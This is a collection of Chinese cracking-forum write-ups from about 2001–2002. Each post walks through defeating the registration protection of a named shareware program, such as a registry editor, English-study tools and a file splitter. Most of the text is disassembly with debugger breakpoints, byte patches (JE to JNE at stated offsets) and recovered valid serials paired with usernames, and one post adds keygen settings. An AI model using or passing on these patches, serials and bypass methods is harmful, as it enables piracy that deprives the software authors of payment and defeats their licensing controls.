:00403E43 39D0 cmp eax, edx <------------到这就看到真的和假的在一起啦！
:00403E45 0F848F000000 je 00403EDA
:00403E4B 85F6 test esi, esi

我第一次写的记录，有不好的地方就请各位多加指正！
希望转载保持完整。谢谢！
Sumica.Tan 2001.12.7


小李注册表大师

 标 题:申请加入CNCG破文－小李注册表大师D注册码法 (2千字)
发信人:里里丝
时 间:2001-11-7 20:18:58
详细信息:
小李注册表大师D注册码法

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

本鸟前身乃PaulYoung[ccg]头号弟子小鱼儿，怎奈头脑构造实在简单，一直学艺不成，最终自知技不如人，遂退隐江湖并改名曰“LILITH(里里斯)”。怎一日网上所见[cncg]，如鱼得水，赶写臭作一篇，企图在[cncg]中占一位子，不论高低，还望[cncg]各位大哥多多包涵，关照一下小鸟，呵呵……
E-mial:juniority@21cn.com
QQ:32777291

[作 者]LILITH
[时 间]19:20 01-11-7
[软件简介]小李注册表是基于Windows 98平台开发的快速修改注册表的工具,包括删除/卸载、系统用户信息、提示信息、IE设置、启动设置、开关机设置、屏幕保护、开始菜单、桌面设置、右键菜单等十几个菜单，包含了几百个修改选项，为你修改Windows提供了捷径，是你个性化系统的良伴。本软件使用Delphi编制，整个软件只需要一个小李注册表大师.exe可执行文件就可运行，是一个绿色软件。通过本软件你不再需要使用注册表编辑器，只要通过本软件的图形化界面让您直观的更改各种设置即可。
[功能限制]未注册版在启动和执行相关操作时均有提示窗口，烦不烦哪？
[下载地址]http://www.csdn.net/soft/openfile.asp?kind=1&id=14499
[破解工具]只要TRW2000就行啦。;-)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1,运行程序，即弹出提示框，呵呵……就从这里入手好啦。输入用户名，注册码嘛，随便啦，"11111111"。
2,不要急着按注册，先用TRW下断点。CTRL+N叫出TRW，下bpx hmemcpy。F5退出。
3，按下注册，TRW马上拦下来了。来到这里：
  0177:00490F73 CALL 004312BC　----------光标在这一行上。
  0177:00490F78 MOV EAX,[EBP-20]
4，下PMODULE，按8下F12出错，SO只要按7下就行啦。
5，接着要一步步来了，按F10，来到……
0177:00490EA2 CMP DWORD [EBP-08],BYTE +00 --------是否输入用户名
0177:00490EA6 JNZ 00490EB7　-----------没有则出错。
0177:00490EA8 MOV EAX,004910AC
0177:00490EAD CALL 004587E4
0177:00490EB2 JMP 00491016
……
0177:00490F73 CALL 004312BC
0177:00490F78 MOV EAX,[EBP-20]
0177:00490F7B MOV EDX,[EBP-04]
0177:00490F7E CALL 00403E70 -------在这里下D edx您猜会怎样啊？当然，您想要的东东出来啦！
0177:00490F83 JNZ 00490FEC
0177:00490F85 LEA EDX,[EBP-28]
哈哈……就是这样搞定了。实在是有够菜吧。我得溜啦，免得有人用臭蛋空袭击我……886


小李注册表大师 1.2

 标 题:加入BCG的三篇破文！！！！！！ (5千字)
发信人:crackhl
时 间:2001-10-20 23:10:55
详细信息:
作者：crackhl
软件：小李注册表大师 1.2
工具：fi,Caspr，Trw2000
____________________________________________________________________________________________
    首先，用fi侦测，可以知道这个软件是用ASPack v1.06b加的壳！用Caspr脱掉，运行脱壳后的，填入注册 姓名：crackhl
注册码：787878
按下Ctrl+N呼叫出trw,下断点：bpx hmemcpy,按F5回到界面，按下确定，立即被trw拦截，清除断点：bc *,跳到程序：pmodule,按F12,6次（因为按7此就失败）

:0048507F BAF8514800 mov edx, 004851F8
:00485084 E833FDFCFF call 00454DBC
:00485089 A1FCF24800 mov eax, dword ptr [0048F2FC]
:0048508E 8B00 mov eax, dword ptr [eax]
:00485090 E887F6FCFF call 0045471C
:00485095 8D55F0 lea edx, dword ptr [ebp-10]
:00485098 8B83DC020000 mov eax, dword ptr [ebx+000002DC]
:0048509E E8D9AFFAFF call 0043007C
:004850A3 8B55F0 mov edx, dword ptr [ebp-10]
:004850A6 A1D0F04800 mov eax, dword ptr [0048F0D0]
:004850AB 8B00 mov eax, dword ptr [eax]
:004850AD 8B8064030000 mov eax, dword ptr [eax+00000364]
:004850B3 E8908DFEFF call 0046DE48
:004850B8 8D45FC lea eax, dword ptr [ebp-04]
:004850BB 8B15D0F04800 mov edx, dword ptr [0048F0D0]
:004850C1 8B12 mov edx, dword ptr [edx]
:004850C3 8B9264030000 mov edx, dword ptr [edx+00000364]
:004850C9 8B524C mov edx, dword ptr [edx+4C] 〈------下d edx,得到正确的注册码91589281
:004850CC E827E9F7FF call 004039F8
:004850D1 8D55EC lea edx, dword ptr [ebp-14]
:004850D4 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:004850DA E89DAFFAFF call 0043007C
:004850DF 8B45EC mov eax, dword ptr [ebp-14]
:004850E2 8B55FC mov edx, dword ptr [ebp-04]
:004850E5 E806ECF7FF call 00403CF0
:004850EA 755F jne 0048514B 〈------跳到失败的地方

注册器：
用Keymake
中断地址：4850CC
中断次数：1
第一字节：E8
指令长度：4
内存方式：EDX
经过加壳

姓名：crackhl
注册码：91589281

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
作者：crackhl
软件：Windows 整容专家
工具：fi，odbg104
____________________________________________________________________________________________
首先，用fi侦测，可以知道这个软件是用VBasic编的，VBasic编的最好破解了，用odbg还是用smartcheckn呢？odbg比smartcheckn更简单，小巧，就用odbg
用odbg载入IeIcon.exe，按F9运行，运行后选注册
姓名：crackhl
注册码：787878
回到odbg，按Alt+E,双击c:\windows\system\msvbvm60.dll，然后按Ctrl+N,在Name里面选中__vbaStrComp,按F2,回到程序，点击注册，立刻被odbg拦下来，在odbg的右下角的方框中看到了自己输入的假的注册码787878，在假的注册码的上面的那个42494242464546就是真的注册码，按Ctrl+N，再按F2取消断点，按Shift+F9继续，把42494242464546填入注册码，注册成功！

姓名：crackhl
注册码：42494242464546
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。


旋转矩阵 1.99

 标 题:注册 旋转矩阵 1.99 (1012字)
发信人:*[BCG][CCG]
时 间:2001-10-27 20:36:25
详细信息:
*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]

彩票旋转矩阵 1.99

URL http://ww3ww.363.net/SetupEx199.exe

使用工具：TRW2000

运行 旋转矩阵 TRW

选择 关于 中的 开始注册

输入 C 位注册码 :123456789123

按 CTRL+N 激活 TRW

bpx hmemcpy

G 继续执行程序

点"OK" 按钮

TR 窗口被激活自动弹出 bc * 取消中断

PMODULE 来到 矩阵 天空 TMMIME!CODE

按 F10 跟踪到以下地址 ----->

017F:0050A4F1 E8FE98EFFF CALL 00403DF4
017F:0050A4F6 8D55E8 LEA EDX,[EBP-18]
017F:0050A4F9 8B45F8 MOV EAX,[EBP-08]<-----

输入的注册码：123456789123

017F:0050A4FC E8C3F2EFFF CALL 004097C4
017F:0050A501 8B55E8 MOV EDX,[EBP-18]
017F:0050A504 8B45F4 MOV EAX,[EBP-0C] <-----

D EAX 噎！！！注册码：XE15908240490

017F:0050A507 E8E09BEFFF CALL 004040EC

快快 G 出去 注册！！！

*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]*[BCG][CCG]


易吉八字算命

 标 题:XY2000 <-- 加入 [BCG] 第二篇（易吉八字算命） (3千字)
发信人:*
时 间:2001-10-13 21:47:30
详细信息:
在第一篇 练了练 SmartCheck

这次用用 TRW PW32DASM Winhex

软件地址：http://www.bazi-soft.com/

使用工具：PW32DASM Winhex

首先用PW反汇编 然后查找“注册码错误”

寻找到以下地址 ----->

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:00403E14 E847230100 Call 00416160
:00403E19 5E pop esi
:00403E1A 84DB test bl, bl
:00403E1C 5B pop ebx
:00403E1D 7414 je 00403E33 <-----

<-- 改 JNE 就 OK

记下偏移地址（窗口底部）记下地址：@403E1D @3E1D

:00403E1F 8D4C2400 lea ecx, dword ptr [esp]
:00403E23 E8E8FD0000 call 00413C10
:00403E28 6A00 push 00000000
:00403E2A 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"谢谢！注册成功"
|
:00403E2C 68DCE74100 push 0041E7DC
:00403E31 EB09 jmp 00403E3C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403E1D(C)
|
:00403E33 6A00 push 00000000
:00403E35 6A00 push 00000000

向上看:-----> 就是那个JE

* Possible StringData Ref from Data Obj ->"注册码错误！"
|
:00403E37 68CCE74100 push 0041E7CC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403E31(U)

打开 Winhex 并调入 易吉

找到 @3E1D --> 74148D4C

74 改 75 存盘 退出 Winhex

再次运行 易吉 随便输入注册码

怎么样 ? 爆破成功了 !!!

使用工具：TRW2000 Winhex

运行 TRW 易吉

选择帮助中的输入注册码

随便输入注册码 :78787878

按 CTRL+N 激活 TRW

bpx hmemcpy

G 继续执行程序 点" 确定 " 按钮

TR 窗口被激活自动弹出 bc * 取消中断

按几次 F12 来到易吉领空 YJBZ！.TEX

按 F10 跟踪到以下地址 ----->

017F:00403DE8 E8D9260100 CALL `MFC42!ord_000018BE`
017F:00403DED 8D44240C LEA EAX,[ESP+0C]
017F:00403DF1 8D4C2408 LEA ECX,[ESP+08]
017F:00403DF5 50 PUSH EAX
017F:00403DF6 E8F5FF0000 CALL 00413DF0
017F:00403DFB 8B7664 MOV ESI,[ESI+64]
017F:00403DFE 8B00 MOV EAX,[EAX]
017F:00403E00 56 PUSH ESI
017F:00403E01 50 PUSH EAX <-----

<-- d eax 就能看见注册码 偶的是：2624524

G 出去 用注册码注册搞定

017F:00403E02 FF1548964100 CALL `MSVCRT!_mbscmp`
017F:00403E08 83C408 ADD ESP,BYTE +08
017F:00403E0B 8D4C240C LEA ECX,[ESP+0C]
017F:00403E0F 85C0 TEST EAX,EAX
017F:00403E11 0F94C3 SETZ BL
017F:00403E14 E847230100 CALL `MFC42!ord_00000320`
017F:00403E19 5E POP ESI
017F:00403E1A 84DB TEST BL,BL
017F:00403E1C 5B POP EBX
017F:00403E1D 7414 JZ 00403E33 <-----

<--改 JNE 爆破成功

017F:00403E1F 8D4C2400 LEA ECX,[ESP+00]
017F:00403E23 E8E8FD0000 CALL 00413C10
017F:00403E28 6A00 PUSH BYTE +00
017F:00403E2A 6A00 PUSH BYTE +00
017F:00403E2C 68DCE74100 PUSH DWORD 0041E7DC
017F:00403E31 EB09 JMP SHORT 00403E3C
017F:00403E33 6A00 PUSH BYTE +00
017F:00403E35 6A00 PUSH BYTE +00
017F:00403E37 68CCE74100 PUSH DWORD 0041E7CC
017F:00403E3C E8B3250100 CALL `MFC42!ord_000004B0`
017F:00403E41 8D4C2400 LEA ECX,[ESP+00]
017F:00403E45 C7442410FFFFFFFF MOV DWORD [ESP+10],FFFFFFFF
017F:00403E4D E8AEFD0000 CALL 00413C00
017F:00403E52 8B4C2408 MOV ECX,[ESP+08]
017F:00403E56 64890D00000000 MOV [FS:00],ECX
017F:00403E5D 83C414 ADD ESP,BYTE +14


英语八哥 v1.5

标 题:英语八哥 v1.5PJ
发信人:飞狐
时 间:2002/02/28 09:00pm
详细信息:

英语八哥 v1.5PJ
    请作者原谅，我不想pj你的软件，但有一个网友给我上面的下载地址，我就给DOWNLOAD下来。但并不是我想要用的软件，为了不浪费我的网费（56K猫下载你6M多的软件也不容易，相逢不如偶遇,为了给我的老猫暖暖身子，违心写下此文,同时在后文送你一首我写的词，以表敬意。）安装后，我很喜欢你的软件。所以关于你的软件pj的前一部分的数字计算的代码我没写而只写了后一部分。你的豁达，会赢得大家的尊重，你的软件会给每一个英语爱好者送上一片温馨、一份真诚。
她是新崛起的英语学习软件。资料包括八哥每日一句、英语口语九百句、英语谚语1500句、走遍美国情景对话、电影剧本（飘）、英语诗歌（飞鸟集）、经典小说（傲慢与偏见、简爱等）、大学课文20课、大学自学教程课文40课、报纸杂志文章58篇等。可选择中英文对照显示、只显示英文（单击时提示该段中文）、只显示中文（单击时提示该段英文）。发音方式可选择二人对话或单人朗读；
    2、词汇纵横（包含从初中到四级、六级、托福等各级别词汇)：纵向学习即在不同单词之间轮流测试练习，方式有选词义、选单词、自动循环浏览。横向学习即对同一单词通过词义详解、例句助记、曲线助记三个方面来加强记忆。
    3、句子查找：输入中文或英文短句可立即显示包含此短句的中英文对照例句。
    4、英语聊天：可在局域网内的电脑间聊天，朗读发送或收到的英文信息，就象在真实环境中用英语交谈一样。
5、作者是丁干超，注册费50。
1、运行TRW2000，装入英语八哥 v1.5，运行之，输入注册码，按CTRL＋N，下中断BPX　HMEMCPY，按CTRL＋N，按确定，拦截成功。清中断BC *，按F12键16下后，按F10，很快见到如下代码：
:0049B3D7 8B45E8 mov eax, dword ptr [ebp-18]
:0049B3DA 8D55BC lea edx, dword ptr [ebp-44]
:0049B3DD 50 push eax　假码。
:0049B3DE 6848D04C00 push 004CD048
:0049B3E3 51 push ecx
:0049B3E4 52 push edx

* Reference To: MSVBVM60.__vbaVarIdiv, Ord:0000h 此部分运算，是计算最后一个用来产生密码的数字AA。 |
:0049B3E5 FF1534104000 Call dword ptr [00401034]
:0049B3EB 50 push eax

* Reference To: MSVBVM60.__vbaStrErrVarCopy, Ord:0000h这一部分是用在上面的运算中所产生的数字AA通过一系列运算，产生密码。过程见后文①。

:0049B3EC FF1550104000 Call dword ptr [00401050]

* Reference To: MSVBVM60.__vbaStrMove, Ord:0000h
|
:0049B3F2 8B1D4C124000 mov ebx, dword ptr [0040124C]
:0049B3F8 8BD0 mov edx, eax　是真正的密码。
:0049B3FA 8D4DE4 lea ecx, dword ptr [ebp-1C]
:0049B3FD FFD3 call ebx
:0049B3FF 50 push eax

* Reference To: MSVBVM60.rtcStrReverse, Ord:02C9h
|
:0049B400 FF157C114000 Call dword ptr [0040117C]
:0049B406 8BD0 mov edx, eax
:0049B408 8D4DE0 lea ecx, dword ptr [ebp-20]
:0049B40B FFD3 call ebx
:0049B40D 50 push eax

* Reference To: MSVBVM60.__vbaStrCmp, Ord:0000h真码与假码的比较之处。
|
:0049B40E FF1510114000 Call dword ptr [00401110]按F8你就可看到它是如何比较的。
①＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊
77993E34:MOV ESI,[ESP+10] 用来产生密码的数字AA
MOV　EBX，ECX
MOV　EAX，ESI
XOR　EDX，EDX清零，用来存储余数。
MOV　EDI，0A
ADD　ECX，BYTE　＋02
DIV　EDI 　除以A
MOV　EAX，CCCCCCCD赋值
MOV　EDI，EDX　把余数放到须EDI中。
SHR　EDX，03　逻辑右移3位
ADD　EDI，BYTE＋30　把余数加上30，变成数字,实际上这是真正的注册码的第一位。
MOV　ESI，EDX
MOV　[ECX-02],DI
TEST ESI,ESI
JA 77993E3A没有除完就继续循环。
本程序是VB程序，VB经常用＿VBASTRCMP、＿VBASTRCMP比较真假注册码，所以你也可以用它直接设断。
水调歌头
           飞狐
    万点飞花舞，暮落大江流。问苍茫何泣，几度黯云收。欲语无言相对，却道南天雁阵，不肯过西楼。暮鼓催寒晚，岁末不堪留。
    春风绽，惊雷起，乱云休。书林隐处，高山流水亦悠悠。不管东西南北，但愿平生知己，何必惹白头。手把章台柳，悄问谁堪畴？


英语听力通 v2.1

 标 题:最新 英语听力通 v2.1 破解实录 (6千字)
发信人:eryl
时 间:2002-1-21 17:09:31
详细信息:
破解来由:
昨晚在论坛闲逛,居然发现了这么一条消息.
你好eryl，能否帮忙破解”听力通（Audio-Aid)"---我见过的功能最完善，界面最友好的一款复读软件。
软件名称:英语听力通
最新版本:Ver 2.1
文件大小:3,923KB
升级时间:2001/12/21
操作平台:Win9x/NT/2000/Me
软件授权:共享
注册用户免费升级
Download Link:http://www.englishwriters.com/aa/aadown.asp?website=7

用过3种复读机各有优缺点：1、先博电脑仿真可视化英文复读机只能使用wav音频；2、winamp 英语复读机不便于操作；3、SitMan PC复读机功能不够强大.
英语听力通是我见过的功能最完善，界面最友好的一款复读软件。

我也纳闷怎么会要我破解的.不过想一想自己也是学语言的,说不定那东西还真有用,就载下来看了看.

倒!用fi一看,是vb6的东西!

俺顿时没了情绪.不过既然都花了好半天下载了,还是看看吧!

首先想到用w32dasm反汇编,郁闷,没有找到任何有价值的提示.然后我就会想到要用winhex,结果也是无效.只好找ollydbg啦!

俺高高兴兴的拿ollydbg载入程序,走了一步,心里就暗喜找对了对象.可到了第二步就怎么也下不去了!............晕!vb的东西!

呜呼!没的选啦!被逼无奈啦!俺终于不得不祭起trw2000的大旗.硬着头皮,"排除万难,去夺取胜利",嘿嘿.

先用trw装载程序,然后启动程序,输入注册信息.
返回trw,下bpx hmemcpy,f5返回程序,确认.立刻被拦.

f12,先走一边吧!你会发现程序在两处不同的地方呼出出错框.不管啦,俺的汇编又不好,只要能得结果就满足了.就在其中选其一吧!再想象这是vb的东西,自然选择在vb的程序段初下断.

于是你再走一边!这次知道f12 16此就可以了.
你会来到这里:
6605f5ba ret 08.......光标在这里!f10往下走喽!

016F:004FE3A1 PUSH EAX
016F:004FE3A2 CALL `MSVBVM60!__vbaHresultCheckObj`
016F:004FE3A8 MOV EDX,[EBP-48]
016F:004FE3AB PUSH EDX......when you get here,and give the order:d edx, you can get your false code!that is to say you should be careful for the near later processes.
016F:004FE3AC CALL `MSVBVM60!rtcR8ValFromBstr`
016F:004FE3B2 FILD DWORD [0051B198]
016F:004FE3B8 FSTP QWORD [EBP+FFFFFF08]
016F:004FE3BE FADD QWORD [EBP+FFFFFF08]
016F:004FE3C4 FADD QWORD [004048B8]
016F:004FE3CA FNSTSW AX
016F:004FE3CC TEST AL,0D
016F:004FE3CE JNZ NEAR 004FE7F3
016F:004FE3D4 CALL `MSVBVM60!__vbaFpR8`
016F:004FE3DA FSTP QWORD [EBP+FFFFFF00]
016F:004FE3E0 PUSH DWORD 004214EC....a dubious reg code! but i am not sure.
016F:004FE3E5 CALL `MSVBVM60!__vbaR8Str`
016F:004FE3EB FCOMP QWORD [EBP+FFFFFF00]
016F:004FE3F1 FNSTSW AX
016F:004FE3F3 TEST AH,40
016F:004FE3F6 JNZ 004FE3FF
016F:004FE3F8 MOV EAX,01
016F:004FE3FD JMP SHORT 004FE401
016F:004FE3FF XOR EAX,EAX
016F:004FE401 NEG EAX
016F:004FE403 LEA ECX,[EBP-48]
016F:004FE406 MOV EDI,EAX
016F:004FE408 CALL `MSVBVM60!__vbaFreeStr`
016F:004FE40E LEA ECX,[EBP-5C]
016F:004FE411 CALL `MSVBVM60!__vbaFreeObj`
016F:004FE417 MOV ECX,80020004
016F:004FE41C MOV EAX,0A
016F:004FE421 CMP DI,SI
016F:004FE424 MOV [EBP+FFFFFF6C],ECX
016F:004FE42A MOV [EBP+FFFFFF64],EAX
016F:004FE430 MOV [EBP+FFFFFF7C],EC
016F:004FE436 MOV [EBP+FFFFFF74],EAX
016F:004FE43C JZ NEAR 004FE4C7..here is the critical jump!actually,if you make a jump here,the software itself will automatically write the reg file into the reg table.:>
016F:004FE442 MOV EDI,[004012B4]
016F:004FE448 MOV EBX,08
016F:004FE44D LEA EDX,[EBP+FFFFFF44]
016F:004FE453 LEA ECX,[EBP-7C]
016F:004FE456 MOV DWORD [EBP+FFFFFF4C],00421534
016F:004FE460 MOV [EBP+FFFFFF44],EBX
016F:004FE466 CALL EDI
016F:004FE468 LEA EDX,[EBP+FFFFFF54]
016F:004FE46E LEA ECX,[EBP-6C]
016F:004FE471 MOV DWORD [EBP+FFFFFF5C],00421508
016F:004FE47B MOV [EBP+FFFFFF54],EBX
016F:004FE481 CALL EDI
016F:004FE483 LEA EAX,[EBP+FFFFFF64]
016F:004FE489 LEA ECX,[EBP+FFFFFF74]
016F:004FE48F PUSH EAX
016F:004FE490 LEA EDX,[EBP-7C]
016F:004FE493 PUSH ECX
016F:004FE494 PUSH EDX
016F:004FE495 LEA EAX,[EBP-6C]
016F:004FE498 PUSH BYTE +30
016F:004FE49A PUSH EAX
016F:004FE49B CALL `MSVBVM60!rtcMsgBox`.....the crashing nag!
016F:004FE4A1 LEA ECX,[EBP+FFFFFF64]
016F:004FE4A7 LEA EDX,[EBP+FFFFFF74]
016F:004FE4AD PUSH ECX
016F:004FE4AE LEA EAX,[EBP-7C]
016F:004FE4B1 PUSH EDX
016F:004FE4B2 LEA ECX,[EBP-6C]
016F:004FE4B5 PUSH EAX
016F:004FE4B6 PUSH ECX
016F:004FE4B7 PUSH BYTE +04
016F:004FE4B9 CALL `MSVBVM60!__vbaFreeVarList`
016F:004FE4BF ADD ESP,BYTE +14
016F:004FE4C2 JMP 004FE755
016F:004FE4C7 MOV EDI,[004012B4]....jump here from 4fe43c!
016F:004FE4CD MOV EBX,08
016F:004FE4D2 LEA EDX,[EBP+FFFFFF44]
016F:004FE4D8 LEA ECX,[EBP-7C]
016F:004FE4DB MOV DWORD [EBP+FFFFFF4C],00421594
016F:004FE4E5 MOV [EBP+FFFFFF44],EBX
016F:004FE4EB CALL EDI
016F:004FE4ED LEA EDX,[EBP+FFFFFF54]
016F:004FE4F3 LEA ECX,[EBP-6C]
016F:004FE4F6 MOV DWORD [EBP+FFFFFF5C],00421544
016F:004FE500 MOV [EBP+FFFFFF54],EBX
016F:004FE506 CALL EDI
016F:004FE508 LEA EDX,[EBP+FFFFFF64]
016F:004FE50E LEA EAX,[EBP+FFFFFF74]
016F:004FE514 PUSH EDX
016F:004FE515 LEA ECX,[EBP-7C]
016F:004FE518 PUSH EAX
016F:004FE519 PUSH ECX
016F:004FE51A LEA EDX,[EBP-6C]
016F:004FE51D PUSH BYTE +30
016F:004FE51F PUSH EDX
016F:004FE520 CALL `MSVBVM60!rtcMsgBox`.....succeed!
016F:004FE526 MOV EBX,[00401040]
016F:004FE52C LEA EAX,[EBP+FFFFFF64]
016F:004FE532 LEA ECX,[EBP+FFFFFF74]
016F:004FE538 PUSH EAX
016F:004FE539 LEA EDX,[EBP-7C]
016F:004FE53C PUSH ECX
016F:004FE53D LEA EAX,[EBP-6C]
016F:004FE540 PUSH EDX
016F:004FE541 PUSH EAX
016F:004FE542 PUSH BYTE +04
016F:004FE544 CALL EBX
016F:004FE546 MOV EAX,[0051B098]
016F:004FE54B ADD ESP,BYTE +14
016F:004FE54E CMP EAX,ESI
016F:004FE550 JNZ 004FE567
016F:004FE552 PUSH DWORD 0051B098

ok!让我们回到程序界面,发现已经注册.重起及删除重装都没有问题.

但俺还有一个小问题,不知哪位仁兄能给解答!
俺在016F:004FE3E0 PUSH DWORD 004214EC处是可以得到一个注册码的,但这个注册码和注册后软件显示的注册码并不一样.而且还只有用软件显示的注册码注册才显示注册正确!不知何故?那个新码是哪里来的呢?怎么跟出来呢?

有兴趣的兄弟可以看一看!


智能切割机 3.03

 标 题:不同的断点,不同的效果!!! (9千字)
发信人:ssljx-[BCG]
时 间:2002-1-23 8:20:35
详细信息:
不同的断点,不同的效果!!!
[作 者]：ssljx[BCG]
[破解软件]：智能切割机 3.03
[软件简介]: 智能切割机，顾名思义，它的操作过程是全智能化的。绿色软件，无须安装，解压后可直接运行。界面简洁美观，全部是仿XP图形化的按钮，非常直观友好，易于掌握，所以使用也很简单。它不但可以方便快速地切割任何类型任意大小的文件，而且能将切割块分毫不差地合并还原，并提供自合并功能。若其他软件生成的切割块符合标准，它同样能把它们合并还原。智能切割机支持多种★新型可移动磁盘！在操作过程中，它会根据磁盘的类型和剩余空间给出提示，指导您的下一步操作。
智能切割机不仅仅能方便地将大文件备份到小容量软盘。在Email中要附带大文件时，可先切割成多块分别发送，这样就不怕中途断线了。现在有很多个人主页限制文件大小，就可将大文件分割上传了。
[下 载]：http://cyberian.myetang.com/dl/isplitcn.exe
[工 具]：softice
[日 期]：2002-01-22
这个软件很小,是个绿色软件.加了PECompact 1.40 - 1.45 的壳,这些是废话..哈...好开始我们破解之旅..这次破解我想用两个不同的设断方法来破解,体会不同断点,不同效果!!好运行软件填上注册码和注册名按确定,提示重新启动验证注册码...ok!用filemon检测过没读取其他文件..嗯..注册码和注册名放在注册表..就用 BPX RegQueryValueExa DO "bd *(esp+8)"设置断点..哈..在softice中断了..按了N 次F5 才看到数据区出现两次regcode,马上按F12,按了3次才来到这里..

:004862E9 8B55E8 mov edx, dword ptr [ebp-18]
:004862EC B830DD4800 mov eax, 0048DD30
:004862F1 E806E5F7FF call 004047FC
:004862F6 A13CDD4800 mov eax, dword ptr [0048DD3C]
:004862FB E87CC3FDFF call 0046267C
:00486300 8D55E0 lea edx, dword ptr [ebp-20]
:00486303 B8B4614800 mov eax, 004861B4
:00486308 E8D706F8FF call 004069E4
:0048630D 8B4DE0 mov ecx, dword ptr [ebp-20]
:00486310 8D45E4 lea eax, dword ptr [ebp-1C]
:00486313 BA68644800 mov edx, 00486468
:00486318 E88FE7F7FF call 00404AAC
:0048631D 8B55E4 mov edx, dword ptr [ebp-1C]
:00486320 B101 mov cl, 01
:00486322 A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486327 E8E4C3FDFF call 00462710
:0048632C BAA0644800 mov edx, 004864A0
:00486331 A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486336 E861C7FDFF call 00462A9C
:0048633B 84C0 test al, al
:0048633D 751B jne 0048635A
:0048633F E8143DF8FF call 0040A058
:00486344 83C4F8 add esp, FFFFFFF8
:00486347 DD1C24 fstp qword ptr [esp]
:0048634A 9B wait
:0048634B BAA0644800 mov edx, 004864A0
:00486350 A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486355 E83EC6FDFF call 00462998

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048633D(C)
|
:0048635A BAA0644800 mov edx, 004864A0
:0048635F A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486364 E843C6FDFF call 004629AC
:00486369 DD5DD8 fstp qword ptr [ebp-28]
:0048636C 9B wait
:0048636D E8E63CF8FF call 0040A058
:00486372 DC5DD8 fcomp qword ptr [ebp-28]
:00486375 DFE0 fstsw ax
:00486377 9E sahf
:00486378 7236 jb 004863B0
:0048637A E8D93CF8FF call 0040A058
:0048637F 83C4F8 add esp, FFFFFFF8
:00486382 DD1C24 fstp qword ptr [esp]
:00486385 9B wait
:00486386 BAA0644800 mov edx, 004864A0
:0048638B A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486390 E817C6FDFF call 004629AC
:00486395 83C4F8 add esp, FFFFFFF8
:00486398 DD1C24 fstp qword ptr [esp]
:0048639B 9B wait
:0048639C E877F9FFFF call 00485D18
:004863A1 BA1E000000 mov edx, 0000001E
:004863A6 2BD0 sub edx, eax
:004863A8 891534DD4800 mov dword ptr [0048DD34], edx
:004863AE EB07 jmp 004863B7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00486378(C)
|
:004863B0 33C0 xor eax, eax
:004863B2 A334DD4800 mov dword ptr [0048DD34], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004863AE(U)
|
:004863B7 33C0 xor eax, eax
:004863B9 5A pop edx
:004863BA 59 pop ecx
:004863BB 59 pop ecx
:004863BC 648910 mov dword ptr fs:[eax], edx
:004863BF 68D6634800 push 004863D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004863D4(U)
|
:004863C4 A13CDD4800 mov eax, dword ptr [0048DD3C]
:004863C9 E86ED6F7FF call 00403A3C
:004863CE C3 ret

:004863CF E9FCDDF7FF jmp 004041D0
:004863D4 EBEE jmp 004863C4
:004863D6 8D55CC lea edx, dword ptr [ebp-34]
:004863D9 B8BC614800 mov eax, 004861BC
:004863DE E80106F8FF call 004069E4
:004863E3 8B45CC mov eax, dword ptr [ebp-34]
:004863E6 8A10 mov dl, byte ptr [eax]
:004863E8 8D45D0 lea eax, dword ptr [ebp-30]
:004863EB E898E5F7FF call 00404988
:004863F0 8B45D0 mov eax, dword ptr [ebp-30]
:004863F3 50 push eax
:004863F4 8D45D4 lea eax, dword ptr [ebp-2C]
:004863F7 50 push eax
:004863F8 8D55C8 lea edx, dword ptr [ebp-38]
:004863FB B8B4614800 mov eax, 004861B4
:00486400 E8DF05F8FF call 004069E4
:00486405 8B4DC8 mov ecx, dword ptr [ebp-38]
:00486408 BAB4644800 mov edx, 004864B4
:0048640D A12CDD4800 mov eax, dword ptr [0048DD2C]
:00486412 E8B1FCFFFF call 004860C8
:00486417 8B55D4 mov edx, dword ptr [ebp-2C] //经过上面漫长而曲节的跟踪才找到这里就是我们要找的注册码
:0048641A A130DD4800 mov eax, dword ptr [0048DD30] //这是我们输入的注册码
真累,累吗?哈哈..想想办法就不用这么累了,这个软件有个限制就是30天的试用期,那就好办,用时间断点呢,好说干就干..在sofice设 BPX GetLocalTime,程序中断了,按1次F5,2次F12就来到这里...

:0048637F 83C4F8 add esp, FFFFFFF8
:00486382 DD1C24 fstp qword ptr [esp]
:00486385 9B wait
:00486386 BAA0644800 mov edx, 004864A0
:0048638B A13CDD4800 mov eax, dword ptr [0048DD3C]
:00486390 E817C6FDFF call 004629AC
:00486395 83C4F8 add esp, FFFFFFF8
:00486398 DD1C24 fstp qword ptr [esp]
:0048639B 9B wait
:0048639C E877F9FFFF call 00485D18
:004863A1 BA1E000000 mov edx, 0000001E
:004863A6 2BD0 sub edx, eax
:004863A8 891534DD4800 mov dword ptr [0048DD34], edx
:004863AE EB07 jmp 004863B7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00486378(C)
|
:004863B0 33C0 xor eax, eax
:004863B2 A334DD4800 mov dword ptr [0048DD34], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004863AE(U)
|
:004863B7 33C0 xor eax, eax
:004863B9 5A pop edx
:004863BA 59 pop ecx
:004863BB 59 pop ecx
